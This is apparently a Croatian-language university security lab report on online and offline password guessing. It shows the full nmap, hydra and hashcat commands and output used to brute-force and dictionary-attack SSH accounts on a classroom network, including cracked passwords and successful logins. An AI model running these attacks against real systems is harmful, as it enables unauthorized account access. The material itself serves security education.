Sigurnost računala i podataka (Lab 5)

Online and Offline Password Guessing Attacks

Online Password Guessing

Otvorili smo bash shell u WSL i pingali server da provjerimo jesmo li na istoj mreži.

Instalirali smo nmap prema uputama.

```
sudo apt-get update
sudo apt-get install nmap
```

Nmap je alat otvorenog koda za skeniranje mreže i otkrivanje potencijalnih sigurnosnih ranjivosti.

Zatim smo napisali naredbu:

`nmap -v 10.0.15.0/28`

i kao odgovor dobili informaciju da je 16 računala na mreži.

```
...
Initiating Ping Scan at 13:20
Scanning 16 hosts [2 ports/host]
Completed Ping Scan at 13:20, 1.21s elapsed (16 total hosts)
...
```

ssh- Secure Shell je mrežni protokol koji korisnicima omogućuje uspostavu sigurnog komunikacijskog kanala između dva računala putem računalne mreže.

```
ssh zupanovic_karmen@10.0.15.5
```

Ne znamo šifru pa možemo pokušati neku bezveze.

```
zupanovic_karmen@10.0.15.5's password:
Permission denied, please try again.
```

Lozinka može imat 4-6 malih slova što znači 26^4+26^5+26^6 ~ 26^6 mogućnosti.

Brute forcom možemo ispitati sve kombinacije, ali to će trajati predugo i nema smisla.

Instaliramo hydru koja će ispitat tih 321254128 kombinacija.

```
student@DESKTOP-7Q0BASR:/mnt/c/Users/A507$ hydra -l zupanovic_karmen -x 4:6:a 10.0.15.5 -V -t 1 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-12-20 13:39:53
[DATA] max 1 task per 1 server, overall 1 task, 321254128 login tries (l:1/p:321254128), ~321254128 tries per task
[DATA] attacking ssh://10.0.15.5:22/
[ATTEMPT] target 10.0.15.5 - login "zupanovic_karmen" - pass "aaaa" - 1 of 321254128 [child 0] (0/0)
[ATTEMPT] target 10.0.15.5 - login "zupanovic_karmen" - pass "aaab" - 2 of 321254128 [child 0] (0/0)
...
```

Skinili smo rječnik.

`wget -r -nH -np --reject "index.html*" http://a507-server.local:8080/dictionary/g1/`

I sada možemo isprobati te lozinke iz dictionary_online.txt. Suzili pretragu na 878 lozinki.

```
student@DESKTOP-7Q0BASR:/mnt/c/Users/A507$ hydra -l zupanovic_karmen -P dictionary/g1/dictionary_online.txt 10.0.15.5 -V -t 4 ssh
```

```
[ATTEMPT] target 10.0.15.5 - login "zupanovic_karmen" - pass "kajjeg" - 1 of 878 [child 0] (0/0)
[ATTEMPT] target 10.0.15.5 - login "zupanovic_karmen" - pass "kajttg" - 2 of 878 [child 1] (0/0)
[ATTEMPT] target 10.0.15.5 - login "zupanovic_karmen" - pass "kajtze" - 3 of 878 [child 2] (0/0)
...
```

Ubrzo (68. pokušaj) smo pronašli lozinku jer je ona dala drukčiji odgovor od ostalih.

```
[ATTEMPT] target 10.0.15.5 - login "zupanovic_karmen" - pass "soicly" - 68 of 878 [child 1] (0/0)
[22][ssh] host: 10.0.15.5   login: zupanovic_karmen   password: soicly
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-12-20 13:50:13
```

Sada pokušamo opet, ali ovog puta znamo šifru.

```
student@DESKTOP-7Q0BASR:/mnt/c/Users/A507$ ssh zupanovic_karmen@10.0.15.5zupanovic_karmen@10.0.15.5's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-91-generic x86_64)
Documentation: https://help.ubuntu.com
Management: https://landscape.canonical.com
Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
zupanovic_karmen@host_zupanovic_karmen:~$
```

Offline Password Guessing

Instalirali smo hashcat.

`sudo apt-get install hashcat`

Otvorili folder u Visual Studio Code.

```
code .
```

Brute forcom isprobajemo sve kombinacije.

```
student@DESKTOP-7Q0BASR:/mnt/c/Users/A507$ hashcat --force -m 1800 -a 3 hash.txt ?l?l?l?l?l?l --status --status-timer 10
hashcat (v4.0.1) starting...
```

Pokušamo s dictionary_offline.txt.

`hashcat --force -m 1800 -a 0 hash.txt dictionary/g1/dictionary_offline.txt --status --status-timer 10`

Pronašli smo šifru nakon 24 sekunde.

```
$6$KpWlRjFxrYFIcFV2$fFeRQEO6lGDwxx4BdYspd8ORj3OjL.HqDOGPQvG2OSTa/D0R22ROj/vfTnlvYxfDbeP7b6LrOR8w5zt/en6dT/:abteve

Session..........: hashcat
Status...........: Cracked
Hash.Type........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: $6$KpWlRjFxrYFIcFV2$fFeRQEO6lGDwxx4BdYspd8ORj3OjL.H...en6dT/
Time.Started.....: Mon Dec 20 14:19:10 2021 (19 secs)
Time.Estimated...: Mon Dec 20 14:19:29 2021 (0 secs)
Guess.Base.......: File (dictionary/g1/dictionary_offline.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:       88 H/s (9.82ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 1664/50078 (3.32%)
Rejected.........: 0/1664 (0.00%)
Restore.Point....: 1536/50078 (3.07%)
Candidates.#1....: ketata -> kklzng
HWMon.Dev.#1.....: N/A

Started: Mon Dec 20 14:19:06 2021
Stopped: Mon Dec 20 14:19:30 2021
```

Pokušamo se logirati kao Jean Doe i uspijemo.

```
student@DESKTOP-7Q0BASR:/mnt/c/Users/A507$ ssh jean_doe@10.0.15.5jean_doe@10.0.15.5's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-91-generic x86_64)
```

```
jean_doe@host_zupanovic_karmen:~$ whoami
jean_doe
```